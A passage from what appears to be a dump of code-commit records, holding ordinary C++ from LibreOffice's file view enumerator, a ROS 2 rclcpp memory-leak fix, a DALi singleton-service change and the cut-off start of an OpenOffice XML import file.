FileViewContentEnumerator::enumerateFolderContent()\n    {\n        EnumerationResult eResult = ERROR;\n        try\n        {\n\n            Reference< XResultSet > xResultSet;\n            Sequence< OUString > aProps(12);\n\n            aProps[0] = OUString( \"Title\" );\n            aProps[1] = OUString( \"Size\" );\n            aProps[2] = OUString( \"DateModified\" );\n            aProps[3] = OUString( \"DateCreated\" );\n            aProps[4] = OUString( \"IsFolder\" );\n            aProps[5] = OUString( \"TargetURL\" );\n            aProps[6] = OUString( \"IsHidden\" );\n            aProps[7] = OUString( \"IsVolume\" );\n            aProps[8] = OUString( \"IsRemote\" );\n            aProps[9] = OUString( \"IsRemoveable\" );\n            aProps[10] = OUString( \"IsFloppy\" );\n            aProps[11] = OUString( \"IsCompactDisc\" );\n\n            Reference< XCommandEnvironment > xEnvironment;\n            try\n            {\n                FolderDescriptor aFolder;\n                {\n                    ::osl::MutexGuard aGuard( m_aMutex );\n                    aFolder = m_aFolder;\n                    xEnvironment = m_xCommandEnv;\n                }\n                if ( !aFolder.aContent.get().is() )\n                {\n                    aFolder.aContent = ::ucbhelper::Content( aFolder.sURL, xEnvironment, comphelper::getProcessComponentContext() );\n                    {\n                        ::osl::MutexGuard aGuard( m_aMutex );\n                        m_aFolder.aContent = aFolder.aContent;\n                    }\n                }\n\n                Reference< XDynamicResultSet > xDynResultSet;\n                ResultSetInclude eInclude = INCLUDE_FOLDERS_AND_DOCUMENTS;\n                xDynResultSet = aFolder.aContent.createDynamicCursor( aProps, eInclude );\n\n                if ( xDynResultSet.is() )\n                    xResultSet = xDynResultSet->getStaticResultSet();\n            }\n            catch( CommandAbortedException& )\n            {\n                SAL_WARN( \"svtools.contnr\", \"createCursor: CommandAbortedException\" );\n            }\n            catch( Exception& )\n            {\n            }\n\n            if ( xResultSet.is() )\n            {\n                Reference< XRow > xRow( xResultSet, UNO_QUERY );\n                Reference< XContentAccess > xContentAccess( xResultSet, UNO_QUERY );\n\n                try\n                {\n                    SortingData_Impl* pData;\n                    DateTime aDT;\n\n                    bool bCancelled = false;\n                    while ( !bCancelled && xResultSet->next() )\n                    {\n                        sal_Bool bIsHidden = xRow->getBoolean( ROW_IS_HIDDEN );\n                        \/\/ don't show hidden files\n                        if ( !bIsHidden || xRow->wasNull() )\n                        {\n                            pData = NULL;\n\n                            aDT = xRow->getTimestamp( ROW_DATE_MOD );\n                            sal_Bool bContainsDate = !xRow->wasNull();\n                            if ( !bContainsDate )\n                            {\n                                aDT = xRow->getTimestamp( ROW_DATE_CREATE );\n                                bContainsDate = !xRow->wasNull();\n                            }\n\n                            OUString aContentURL = xContentAccess->queryContentIdentifierString();\n                            OUString aTargetURL = xRow->getString( ROW_TARGET_URL );\n                            sal_Bool bHasTargetURL = !xRow->wasNull() && !aTargetURL.isEmpty();\n\n                            OUString sRealURL = bHasTargetURL ? aTargetURL : aContentURL;\n\n                            \/\/ check for restrictions\n                            {\n                                ::osl::MutexGuard aGuard( m_aMutex );\n                                if ( \/* m_rBlackList.hasElements() && *\/ URLOnBlackList ( sRealURL ) )\n                                    continue;\n                            }\n\n                            pData = new SortingData_Impl;\n                            pData->maTargetURL = sRealURL;\n\n                            pData->mbIsFolder = xRow->getBoolean( ROW_IS_FOLDER ) && !xRow->wasNull();\n                            pData->mbIsVolume = xRow->getBoolean( ROW_IS_VOLUME ) && !xRow->wasNull();\n                            pData->mbIsRemote = xRow->getBoolean( ROW_IS_REMOTE ) && !xRow->wasNull();\n                            pData->mbIsRemoveable = xRow->getBoolean( ROW_IS_REMOVABLE ) && !xRow->wasNull();\n                            pData->mbIsFloppy = xRow->getBoolean( ROW_IS_FLOPPY ) && !xRow->wasNull();\n                            pData->mbIsCompactDisc = xRow->getBoolean( ROW_IS_COMPACTDISC ) && !xRow->wasNull();\n                            pData->SetNewTitle( xRow->getString( ROW_TITLE ) );\n                            pData->maSize = xRow->getLong( ROW_SIZE );\n\n                            if ( bHasTargetURL &&\n                                INetURLObject( aContentURL ).GetProtocol() == INET_PROT_VND_SUN_STAR_HIER )\n                            {\n                                ::ucbhelper::Content aCnt( aTargetURL, xEnvironment, comphelper::getProcessComponentContext() );\n                                try\n                                {\n                                aCnt.getPropertyValue(\"Size\") >>= pData->maSize;\n                                aCnt.getPropertyValue(\"DateModified\") >>= aDT;\n                                }\n                                catch (...) {}\n                            }\n\n                            if ( bContainsDate )\n                            {\n                                CONVERT_DATETIME( aDT, pData->maModDate );\n                            }\n\n                            if ( pData->mbIsFolder )\n                            {\n                                SolarMutexGuard aGuard;\n                                ::svtools::VolumeInfo aVolInfo( pData->mbIsVolume, pData->mbIsRemote,\n                                                                pData->mbIsRemoveable, pData->mbIsFloppy,\n                                                                pData->mbIsCompactDisc );\n                                pData->maType = SvFileInformationManager::GetFolderDescription( aVolInfo );\n                            }\n                            else\n                                pData->maType = SvFileInformationManager::GetFileDescription(\n                                    INetURLObject( pData->maTargetURL ) );\n\n                            \/\/ replace names on demand\n                            {\n                                ::osl::MutexGuard aGuard( m_aMutex );\n                                if( m_pTranslator )\n                                {\n                                    OUString sNewTitle;\n                                    sal_Bool bTranslated = sal_False;\n\n                                    if ( pData->mbIsFolder )\n                                        bTranslated = m_pTranslator->GetTranslation( pData->GetTitle(), sNewTitle );\n                                    else\n                                        bTranslated = implGetDocTitle( pData->maTargetURL, sNewTitle );\n\n                                    if ( bTranslated )\n                                        pData->ChangeTitle( sNewTitle );\n                                }\n                            }\n\n                            {\n                                ::osl::MutexGuard aGuard( m_rContentMutex );\n                                m_rContent.push_back( pData );\n                            }\n                        }\n\n                        {\n                            ::osl::MutexGuard aGuard( m_aMutex );\n                            bCancelled = m_bCancelled;\n                        }\n                    }\n                    eResult = SUCCESS;\n                }\n                catch( CommandAbortedException& )\n                {\n                    SAL_WARN( \"svtools.contnr\", \"FileViewContentEnumerator::enumerateFolderContent: caught an CommandAbortedException while enumerating!\" );\n                }\n                catch( Exception& )\n                {\n                    SAL_WARN( \"svtools.contnr\", \"FileViewContentEnumerator::enumerateFolderContent: caught an exception other than CommandAbortedException while enumerating!\" );\n                }\n            }\n        }\n        catch( CommandAbortedException& )\n        {\n            SAL_WARN( \"svtools.contnr\", \"FileViewContentEnumerator::enumerateFolderContent: caught an CommandAbortedException!\" );\n        }\n        catch( Exception& )\n        {\n            SAL_WARN( \"svtools.contnr\", \"FileViewContentEnumerator::enumerateFolderContent: caught an exception other than CommandAbortedException!\" );\n        }\n\n        IEnumerationResultHandler* pHandler = NULL;\n        {\n            ::osl::MutexGuard aGuard( m_aMutex );\n            pHandler = m_pResultHandler;\n            if ( m_bCancelled )\n                return ERROR;\n        }\n\n        {\n            ::osl::MutexGuard aGuard( m_rContentMutex );\n            if ( eResult != SUCCESS )\n                \/\/ clear any \"intermediate\" and unfinished result\n                m_rContent.clear();\n        }\n\n        if ( pHandler )\n            pHandler->enumerationDone( eResult );\n        return eResult;\n    }\n\n    \/\/--------------------------------------------------------------------\n\n    sal_Bool FileViewContentEnumerator::URLOnBlackList ( const OUString& sRealURL )\n    {\n        OUString entryName = sRealURL.copy( sRealURL.lastIndexOf( '\/' ) + 1 );\n\n        for (int i = 0; i < m_rBlackList.getLength() ; i++)\n        {\n            if ( entryName.equals(  m_rBlackList[i] ) )\n                return true;\n        }\n\n        return false;\n    }\n\n    \/\/--------------------------------------------------------------------\n    sal_Bool FileViewContentEnumerator::implGetDocTitle( const OUString& _rTargetURL, OUString& _rRet ) const\n    {\n        sal_Bool bRet = sal_False;\n\n        try\n        {\n            ::osl::MutexGuard aGuard( m_aMutex );\n            if (!m_xDocProps.is())\n            {\n                m_xDocProps.set(DocumentProperties::create(\n                            ::comphelper::getProcessComponentContext()));\n            }\n\n            assert(m_xDocProps.is());\n            if (!m_xDocProps.is())\n                return sal_False;\n\n            m_xDocProps->loadFromMedium(_rTargetURL, Sequence<PropertyValue>());\n\n            OUString const sTitle(m_xDocProps->getTitle());\n            if (!sTitle.isEmpty())\n            {\n                _rRet = sTitle;\n                bRet = sal_True;\n            }\n        }\n        catch ( const Exception& )\n        {\n        }\n\n        return bRet;\n    }\n\n    \/\/--------------------------------------------------------------------\n    void FileViewContentEnumerator::execute()\n    {\n        enumerateFolderContent();\n    }\n\n\/\/........................................................................\n} \/\/ namespace svt\n\/\/........................................................................\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2018 Open Source Robotics Foundation, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <string>\n#include <regex>\n#include <vector>\n\n#include \"rcpputils\/find_and_replace.hpp\"\n#include \"rclcpp\/parameter_map.hpp\"\n\nusing rclcpp::exceptions::InvalidParametersException;\nusing rclcpp::exceptions::InvalidParameterValueException;\nusing rclcpp::ParameterMap;\nusing rclcpp::ParameterValue;\n\nParameterMap\nrclcpp::parameter_map_from(const rcl_params_t * const c_params, const char * node_fqn)\n{\n  if (NULL == c_params) {\n    throw InvalidParametersException(\"parameters struct is NULL\");\n  } else if (NULL == c_params->node_names) {\n    throw InvalidParametersException(\"node names array is NULL\");\n  } else if (NULL == c_params->params) {\n    throw InvalidParametersException(\"node params array is NULL\");\n  }\n\n  \/\/ Convert c structs into a list of parameters to set\n  ParameterMap parameters;\n  for (size_t n = 0; n < c_params->num_nodes; ++n) {\n    const char * c_node_name = c_params->node_names[n];\n    if (NULL == c_node_name) {\n      throw InvalidParametersException(\"Node name at index \" + std::to_string(n) + \" is NULL\");\n    }\n\n    \/\/\/ make sure there is a leading slash on the fully qualified node name\n    std::string node_name(\"\/\");\n    if ('\/' != c_node_name[0]) {\n      node_name += c_node_name;\n    } else {\n      node_name = c_node_name;\n    }\n\n    if (node_fqn) {\n      \/\/ Update the regular expression [\"\/*\" -> \"(\/\\\\w+)\" and \"\/**\" -> \"(\/\\\\w+)*\"]\n      std::string regex = rcpputils::find_and_replace(node_name, \"\/*\", \"(\/\\\\w+)\");\n      if (!std::regex_match(node_fqn, std::regex(regex))) {\n        \/\/ No need to parse the items because the user just care about node_fqn\n        continue;\n      }\n\n      node_name = node_fqn;\n    }\n\n    const rcl_node_params_t * const c_params_node = &(c_params->params[n]);\n\n    std::vector<Parameter> & params_node = parameters[node_name];\n    params_node.reserve(c_params_node->num_params);\n\n    for (size_t p = 0; p < c_params_node->num_params; ++p) {\n      const char * const c_param_name = c_params_node->parameter_names[p];\n      if (NULL == c_param_name) {\n        std::string message(\n          \"At node \" + std::to_string(n) + \" parameter \" + std::to_string(p) + \" name is NULL\");\n        throw InvalidParametersException(message);\n      }\n      const rcl_variant_t * const c_param_value = &(c_params_node->parameter_values[p]);\n      params_node.emplace_back(c_param_name, parameter_value_from(c_param_value));\n    }\n  }\n\n  return parameters;\n}\n\nParameterValue\nrclcpp::parameter_value_from(const rcl_variant_t * const c_param_value)\n{\n  if (NULL == c_param_value) {\n    throw InvalidParameterValueException(\"Passed argument is NULL\");\n  }\n  if (c_param_value->bool_value) {\n    return ParameterValue(*(c_param_value->bool_value));\n  } else if (c_param_value->integer_value) {\n    return ParameterValue(*(c_param_value->integer_value));\n  } else if (c_param_value->double_value) {\n    return ParameterValue(*(c_param_value->double_value));\n  } else if (c_param_value->string_value) {\n    return ParameterValue(std::string(c_param_value->string_value));\n  } else if (c_param_value->byte_array_value) {\n    const rcl_byte_array_t * const byte_array = c_param_value->byte_array_value;\n    std::vector<uint8_t> bytes;\n    bytes.reserve(byte_array->size);\n    for (size_t v = 0; v < byte_array->size; ++v) {\n      bytes.push_back(byte_array->values[v]);\n    }\n    return ParameterValue(bytes);\n  } else if (c_param_value->bool_array_value) {\n    const rcl_bool_array_t * const bool_array = c_param_value->bool_array_value;\n    std::vector<bool> bools;\n    bools.reserve(bool_array->size);\n    for (size_t v = 0; v < bool_array->size; ++v) {\n      bools.push_back(bool_array->values[v]);\n    }\n    return ParameterValue(bools);\n  } else if (c_param_value->integer_array_value) {\n    const rcl_int64_array_t * const int_array = c_param_value->integer_array_value;\n    std::vector<int64_t> integers;\n    integers.reserve(int_array->size);\n    for (size_t v = 0; v < int_array->size; ++v) {\n      integers.push_back(int_array->values[v]);\n    }\n    return ParameterValue(integers);\n  } else if (c_param_value->double_array_value) {\n    const rcl_double_array_t * const double_array = c_param_value->double_array_value;\n    std::vector<double> doubles;\n    doubles.reserve(double_array->size);\n    for (size_t v = 0; v < double_array->size; ++v) {\n      doubles.push_back(double_array->values[v]);\n    }\n    return ParameterValue(doubles);\n  } else if (c_param_value->string_array_value) {\n    const rcutils_string_array_t * const string_array = c_param_value->string_array_value;\n    std::vector<std::string> strings;\n    strings.reserve(string_array->size);\n    for (size_t v = 0; v < string_array->size; ++v) {\n      strings.emplace_back(string_array->data[v]);\n    }\n    return ParameterValue(strings);\n  }\n\n  throw InvalidParameterValueException(\"No parameter value set\");\n}\n\nParameterMap\nrclcpp::parameter_map_from_yaml_file(const std::string & yaml_filename)\n{\n  rcutils_allocator_t allocator = rcutils_get_default_allocator();\n  rcl_params_t * rcl_parameters = rcl_yaml_node_struct_init(allocator);\n  const char * path = yaml_filename.c_str();\n  if (!rcl_parse_yaml_file(path, rcl_parameters)) {\n    rclcpp::exceptions::throw_from_rcl_error(RCL_RET_ERROR);\n  }\n  return rclcpp::parameter_map_from(rcl_parameters);\n}\n<commit_msg>fix memory leak (#1994)<commit_after>\/\/ Copyright 2018 Open Source Robotics Foundation, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <string>\n#include <regex>\n#include <vector>\n\n#include \"rcpputils\/find_and_replace.hpp\"\n#include \"rcpputils\/scope_exit.hpp\"\n#include \"rclcpp\/parameter_map.hpp\"\n\nusing rclcpp::exceptions::InvalidParametersException;\nusing rclcpp::exceptions::InvalidParameterValueException;\nusing rclcpp::ParameterMap;\nusing rclcpp::ParameterValue;\n\nParameterMap\nrclcpp::parameter_map_from(const rcl_params_t * const c_params, const char * node_fqn)\n{\n  if (NULL == c_params) {\n    throw InvalidParametersException(\"parameters struct is NULL\");\n  } else if (NULL == c_params->node_names) {\n    throw InvalidParametersException(\"node names array is NULL\");\n  } else if (NULL == c_params->params) {\n    throw InvalidParametersException(\"node params array is NULL\");\n  }\n\n  \/\/ Convert c structs into a list of parameters to set\n  ParameterMap parameters;\n  for (size_t n = 0; n < c_params->num_nodes; ++n) {\n    const char * c_node_name = c_params->node_names[n];\n    if (NULL == c_node_name) {\n      throw InvalidParametersException(\"Node name at index \" + std::to_string(n) + \" is NULL\");\n    }\n\n    \/\/\/ make sure there is a leading slash on the fully qualified node name\n    std::string node_name(\"\/\");\n    if ('\/' != c_node_name[0]) {\n      node_name += c_node_name;\n    } else {\n      node_name = c_node_name;\n    }\n\n    if (node_fqn) {\n      \/\/ Update the regular expression [\"\/*\" -> \"(\/\\\\w+)\" and \"\/**\" -> \"(\/\\\\w+)*\"]\n      std::string regex = rcpputils::find_and_replace(node_name, \"\/*\", \"(\/\\\\w+)\");\n      if (!std::regex_match(node_fqn, std::regex(regex))) {\n        \/\/ No need to parse the items because the user just care about node_fqn\n        continue;\n      }\n\n      node_name = node_fqn;\n    }\n\n    const rcl_node_params_t * const c_params_node = &(c_params->params[n]);\n\n    std::vector<Parameter> & params_node = parameters[node_name];\n    params_node.reserve(c_params_node->num_params);\n\n    for (size_t p = 0; p < c_params_node->num_params; ++p) {\n      const char * const c_param_name = c_params_node->parameter_names[p];\n      if (NULL == c_param_name) {\n        std::string message(\n          \"At node \" + std::to_string(n) + \" parameter \" + std::to_string(p) + \" name is NULL\");\n        throw InvalidParametersException(message);\n      }\n      const rcl_variant_t * const c_param_value = &(c_params_node->parameter_values[p]);\n      params_node.emplace_back(c_param_name, parameter_value_from(c_param_value));\n    }\n  }\n\n  return parameters;\n}\n\nParameterValue\nrclcpp::parameter_value_from(const rcl_variant_t * const c_param_value)\n{\n  if (NULL == c_param_value) {\n    throw InvalidParameterValueException(\"Passed argument is NULL\");\n  }\n  if (c_param_value->bool_value) {\n    return ParameterValue(*(c_param_value->bool_value));\n  } else if (c_param_value->integer_value) {\n    return ParameterValue(*(c_param_value->integer_value));\n  } else if (c_param_value->double_value) {\n    return ParameterValue(*(c_param_value->double_value));\n  } else if (c_param_value->string_value) {\n    return ParameterValue(std::string(c_param_value->string_value));\n  } else if (c_param_value->byte_array_value) {\n    const rcl_byte_array_t * const byte_array = c_param_value->byte_array_value;\n    std::vector<uint8_t> bytes;\n    bytes.reserve(byte_array->size);\n    for (size_t v = 0; v < byte_array->size; ++v) {\n      bytes.push_back(byte_array->values[v]);\n    }\n    return ParameterValue(bytes);\n  } else if (c_param_value->bool_array_value) {\n    const rcl_bool_array_t * const bool_array = c_param_value->bool_array_value;\n    std::vector<bool> bools;\n    bools.reserve(bool_array->size);\n    for (size_t v = 0; v < bool_array->size; ++v) {\n      bools.push_back(bool_array->values[v]);\n    }\n    return ParameterValue(bools);\n  } else if (c_param_value->integer_array_value) {\n    const rcl_int64_array_t * const int_array = c_param_value->integer_array_value;\n    std::vector<int64_t> integers;\n    integers.reserve(int_array->size);\n    for (size_t v = 0; v < int_array->size; ++v) {\n      integers.push_back(int_array->values[v]);\n    }\n    return ParameterValue(integers);\n  } else if (c_param_value->double_array_value) {\n    const rcl_double_array_t * const double_array = c_param_value->double_array_value;\n    std::vector<double> doubles;\n    doubles.reserve(double_array->size);\n    for (size_t v = 0; v < double_array->size; ++v) {\n      doubles.push_back(double_array->values[v]);\n    }\n    return ParameterValue(doubles);\n  } else if (c_param_value->string_array_value) {\n    const rcutils_string_array_t * const string_array = c_param_value->string_array_value;\n    std::vector<std::string> strings;\n    strings.reserve(string_array->size);\n    for (size_t v = 0; v < string_array->size; ++v) {\n      strings.emplace_back(string_array->data[v]);\n    }\n    return ParameterValue(strings);\n  }\n\n  throw InvalidParameterValueException(\"No parameter value set\");\n}\n\nParameterMap\nrclcpp::parameter_map_from_yaml_file(const std::string & yaml_filename)\n{\n  rcutils_allocator_t allocator = rcutils_get_default_allocator();\n  rcl_params_t * rcl_parameters = rcl_yaml_node_struct_init(allocator);\n  RCPPUTILS_SCOPE_EXIT(rcl_yaml_node_struct_fini(rcl_parameters); );\n  const char * path = yaml_filename.c_str();\n  if (!rcl_parse_yaml_file(path, rcl_parameters)) {\n    rclcpp::exceptions::throw_from_rcl_error(RCL_RET_ERROR);\n  }\n\n  return rclcpp::parameter_map_from(rcl_parameters);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2017 Samsung Electronics Co., Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n\/\/ CLASS HEADER\n#include <dali\/internal\/system\/common\/singleton-service-impl.h>\n\n\/\/ EXTERNAL INCLUDES\n#include <dali\/integration-api\/debug.h>\n\n\/\/ INTERNAL INCLUDES\n#if defined(DEBUG_ENABLED)\n#include <dali\/internal\/system\/common\/logging.h>\nDebug::Filter* gSingletonServiceLogFilter = Debug::Filter::New( Debug::NoLogging, false, \"LOG_SINGLETON_SERVICE\" );\n\n\/\/ Need to define own macro as the log function is not installed when this object is created so no logging is shown with DALI_LOG_INFO at construction and destruction\n#define DALI_LOG_SINGLETON_SERVICE_DIRECT(level, message)                        \\\n    if(gSingletonServiceLogFilter && gSingletonServiceLogFilter->IsEnabledFor(level)) { std::string string(message); Dali::TizenPlatform::LogMessage( Debug::DebugInfo, string );  }\n\n#define DALI_LOG_SINGLETON_SERVICE(level, format, args...) DALI_LOG_INFO(gSingletonServiceLogFilter, level, format, ## args )\n\n#else\n\n#define DALI_LOG_SINGLETON_SERVICE_DIRECT(level, message)\n#define DALI_LOG_SINGLETON_SERVICE(level, format, args...)\n\n#endif\n\nnamespace Dali\n{\n\nnamespace Internal\n{\n\nnamespace Adaptor\n{\n\nnamespace\n{\nthread_local SingletonService * gSingletonService = 0;\n} \/\/ unnamed namespace\n\nDali::SingletonService SingletonService::New()\n{\n  Dali::SingletonService singletonService( new SingletonService );\n  return singletonService;\n}\n\nDali::SingletonService SingletonService::Get()\n{\n  Dali::SingletonService singletonService;\n  if ( gSingletonService )\n  {\n    singletonService = Dali::SingletonService( gSingletonService );\n  }\n  return singletonService;\n}\n\nvoid SingletonService::Register( const std::type_info& info, BaseHandle singleton )\n{\n  if( singleton )\n  {\n    DALI_LOG_SINGLETON_SERVICE( Debug::General, \"Singleton Added: %s\\n\", info.name() );\n    mSingletonContainer.push_back( SingletonPair( info.name(), singleton ) );\n  }\n}\n\nvoid SingletonService::UnregisterAll( )\n{\n  mSingletonContainer.clear();\n}\n\nBaseHandle SingletonService::GetSingleton( const std::type_info& info ) const\n{\n  BaseHandle object;\n\n  const SingletonContainer::const_iterator end = mSingletonContainer.end();\n  for( SingletonContainer::const_iterator iter = mSingletonContainer.begin(); iter != end; ++iter )\n  {\n    \/\/ comparing the addresses as these are allocated statically per library\n    if( ( *iter ).first == info.name() )\n    {\n      object = ( *iter ).second;\n    }\n  }\n\n  return object;\n}\n\nSingletonService::SingletonService()\n: mSingletonContainer()\n{\n  \/\/ Can only have one instance of SingletonService\n  DALI_ASSERT_ALWAYS( !gSingletonService && \"Only one instance of SingletonService is allowed\");\n\n  gSingletonService = this;\n\n  DALI_LOG_SINGLETON_SERVICE_DIRECT( Debug::Concise, \"SingletonService Created\\n\" );\n}\n\nSingletonService::~SingletonService()\n{\n  gSingletonService = 0;\n\n  DALI_LOG_SINGLETON_SERVICE_DIRECT( Debug::Concise, \"SingletonService Destroyed\\n\" );\n}\n\n} \/\/ namespace Adaptor\n\n} \/\/ namespace Internal\n\n} \/\/ namespace Dali\n\n<commit_msg>Automatically register Singleton Processors with Core<commit_after>\/*\n * Copyright (c) 2018 Samsung Electronics Co., Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n\/\/ CLASS HEADER\n#include <dali\/internal\/system\/common\/singleton-service-impl.h>\n\n\/\/ EXTERNAL INCLUDES\n#include <dali\/integration-api\/debug.h>\n#include <dali\/integration-api\/core.h>\n#include <dali\/integration-api\/adaptor.h>\n#include <dali\/internal\/adaptor\/common\/adaptor-impl.h>\n\n\/\/ INTERNAL INCLUDES\n#if defined(DEBUG_ENABLED)\n#include <dali\/internal\/system\/common\/logging.h>\nDebug::Filter* gSingletonServiceLogFilter = Debug::Filter::New( Debug::NoLogging, false, \"LOG_SINGLETON_SERVICE\" );\n\n\/\/ Need to define own macro as the log function is not installed when this object is created so no logging is shown with DALI_LOG_INFO at construction and destruction\n#define DALI_LOG_SINGLETON_SERVICE_DIRECT(level, message)                        \\\n    if(gSingletonServiceLogFilter && gSingletonServiceLogFilter->IsEnabledFor(level)) { std::string string(message); Dali::TizenPlatform::LogMessage( Debug::DebugInfo, string );  }\n\n#define DALI_LOG_SINGLETON_SERVICE(level, format, args...) DALI_LOG_INFO(gSingletonServiceLogFilter, level, format, ## args )\n\n#else\n\n#define DALI_LOG_SINGLETON_SERVICE_DIRECT(level, message)\n#define DALI_LOG_SINGLETON_SERVICE(level, format, args...)\n\n#endif\n\nnamespace Dali\n{\n\nnamespace Internal\n{\n\nnamespace Adaptor\n{\n\nnamespace\n{\nthread_local SingletonService * gSingletonService = 0;\n} \/\/ unnamed namespace\n\nDali::SingletonService SingletonService::New()\n{\n  Dali::SingletonService singletonService( new SingletonService );\n  return singletonService;\n}\n\nDali::SingletonService SingletonService::Get()\n{\n  Dali::SingletonService singletonService;\n  if ( gSingletonService )\n  {\n    singletonService = Dali::SingletonService( gSingletonService );\n  }\n  return singletonService;\n}\n\nvoid SingletonService::Register( const std::type_info& info, BaseHandle singleton )\n{\n  if( singleton )\n  {\n    DALI_LOG_SINGLETON_SERVICE( Debug::General, \"Singleton Added: %s\\n\", info.name() );\n    mSingletonContainer.push_back( SingletonPair( info.name(), singleton ) );\n\n    Integration::Processor* processor = dynamic_cast<Integration::Processor*>( &singleton.GetBaseObject() );\n    if( processor )\n    {\n      Dali::Adaptor& adaptor = Dali::Adaptor::Get();\n      Dali::Internal::Adaptor::Adaptor& adaptorImpl = Adaptor::GetImplementation( adaptor );\n      Integration::Core& core = adaptorImpl.GetCore();\n      core.RegisterProcessor( *processor );\n    }\n  }\n}\n\nvoid SingletonService::UnregisterAll( )\n{\n  mSingletonContainer.clear();\n}\n\nBaseHandle SingletonService::GetSingleton( const std::type_info& info ) const\n{\n  BaseHandle object;\n\n  const SingletonContainer::const_iterator end = mSingletonContainer.end();\n  for( SingletonContainer::const_iterator iter = mSingletonContainer.begin(); iter != end; ++iter )\n  {\n    \/\/ comparing the addresses as these are allocated statically per library\n    if( ( *iter ).first == info.name() )\n    {\n      object = ( *iter ).second;\n    }\n  }\n\n  return object;\n}\n\nSingletonService::SingletonService()\n: mSingletonContainer()\n{\n  \/\/ Can only have one instance of SingletonService\n  DALI_ASSERT_ALWAYS( !gSingletonService && \"Only one instance of SingletonService is allowed\");\n\n  gSingletonService = this;\n\n  DALI_LOG_SINGLETON_SERVICE_DIRECT( Debug::Concise, \"SingletonService Created\\n\" );\n}\n\nSingletonService::~SingletonService()\n{\n  gSingletonService = 0;\n\n  DALI_LOG_SINGLETON_SERVICE_DIRECT( Debug::Concise, \"SingletonService Destroyed\\n\" );\n}\n\n} \/\/ namespace Adaptor\n\n} \/\/ namespace Internal\n\n} \/\/ namespace Dali\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: SwXMLBlockListContext.cxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: dvo $ $Date: 2001-11-01 19:35:28 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): Martin Gallwey (gallwey@sun.com)\n *\n *\n ************************************************************************\/\n\n#pragma hdrstop\n\n#ifndef _SW_XMLBLOCKLISTCONTEXT_HXX\n#include <SwXMLBlockListContext.hxx>\n#endif\n\n#ifndef _SW_XMLBLOCKIMPORT_HXX\n#include <SwXMLBlockImport.hxx>\n#endif\n\n#ifndef _SW_XMLTEXTBLOCKS_HXX\n#include <SwXMLTextBlocks.hxx>\n#endif\n\n#ifndef _XMLOFF_XMLIMP_HXX\n#include <xmloff\/xmlimp.hxx>\n#endif\n#ifndef _XMLOFF_NMSPMAP_HXX\n#include <xmloff\/nmspmap.hxx>\n#endif\n#ifndef 